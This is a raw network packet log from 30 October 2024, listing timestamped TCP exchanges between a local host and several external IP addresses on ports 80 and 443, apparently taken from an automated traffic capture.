Oct 30, 2024 11:45:44.408405066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408459902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408476114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408490896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408499002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408509016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408514023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408525944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408526897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408545017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408550978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408569098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408586025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408608913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.408926964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.408966064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409004927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409029007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409044027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409056902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409070969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409084082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409087896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409105062 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409112930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409128904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409128904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409154892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409171104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409176111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409185886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409204006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409214973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409219027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409228086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409245014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409255981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409261942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409286022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409300089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409313917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409313917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409326077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409327984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409346104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409347057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409363985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409368992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409379959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409383059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409396887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409398079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409415007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409420967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409431934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409434080 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409447908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409455061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409470081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409488916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409506083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409576893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409593105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.409614086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409621954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.409636021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.447283030 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.448005915 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.448014975 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.448642015 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.448647022 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.453146935 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.453322887 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.453399897 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.455421925 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.455436945 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.455476046 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.455482006 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.458717108 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.458758116 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.458848953 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.458983898 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.459001064 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.490559101 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.490679979 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.490907907 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.491003036 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.491014004 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.491023064 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.491027117 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.493479967 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.493509054 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.493690968 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.493895054 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.493907928 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.522197008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522212982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522229910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522293091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522293091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522362947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522377014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522391081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522403002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522407055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522417068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522430897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522437096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522449017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522452116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522466898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522484064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522486925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522512913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522517920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522533894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522552967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522574902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522586107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522599936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522609949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522618055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522634029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522660017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522661924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522675991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522680998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522696972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522697926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522712946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522722960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522736073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522746086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522753000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522763968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522768974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.522773981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522795916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.522810936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523098946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523185968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523200035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523221970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523237944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523245096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523256063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523264885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523272991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523279905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523293018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523297071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523318052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523366928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523370981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523382902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523399115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523415089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523420095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523432970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523443937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523449898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523468018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523469925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523485899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523494005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523504019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523519039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523519993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.523550987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.523574114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528563976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528578997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528595924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528604031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528620005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528641939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528666973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528670073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528685093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528701067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528717041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528732061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528748035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528752089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528759003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528767109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528790951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528793097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528806925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528817892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528824091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528841019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528845072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528857946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528868914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528883934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528893948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528901100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528918028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528923988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528940916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528948069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528964996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.528974056 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.528990984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529006958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529021978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529031038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529047012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529047966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529063940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529067993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529083014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529095888 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529099941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529105902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529118061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529128075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529145956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529146910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529166937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529242992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529248953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529263973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529280901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529292107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529304981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529306889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529320955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529323101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529339075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529346943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529362917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529365063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529381037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529397964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529397964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529417038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529426098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529434919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529448986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529452085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529468060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529470921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529483080 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529494047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529510975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529511929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529535055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529552937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529555082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529567003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.529581070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.529603958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.537167072 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.545398951 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.545416117 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.545846939 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.545852900 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.578922987 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.580022097 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.580046892 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.580461025 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.580466032 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.584789038 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.584959030 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.585210085 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.585279942 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.585290909 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.585298061 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.585302114 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.588789940 CET	49990	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.588823080 CET	443	49990	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.589545965 CET	49990	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.590111017 CET	49990	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.590125084 CET	443	49990	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.624491930 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.624730110 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.624741077 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.625228882 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.625915051 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.625986099 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.626033068 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.637581110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637697935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637715101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637732029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637734890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.637748003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637756109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.637784004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.637902975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637918949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637934923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637955904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.637973070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.637979031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.637995958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638009071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638050079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638710022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638725042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638742924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638756990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638772011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638777018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638787985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638801098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638802052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638809919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638828039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638839006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638849020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638863087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638874054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638885021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638891935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638912916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638915062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638926983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638932943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638948917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.638962984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.638987064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639002085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639008045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639017105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639028072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639034033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639058113 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639076948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639092922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639105082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639111996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639128923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639134884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639151096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639152050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639167070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639173985 CET	49888	80	192.168.2.6	185.215.113.206
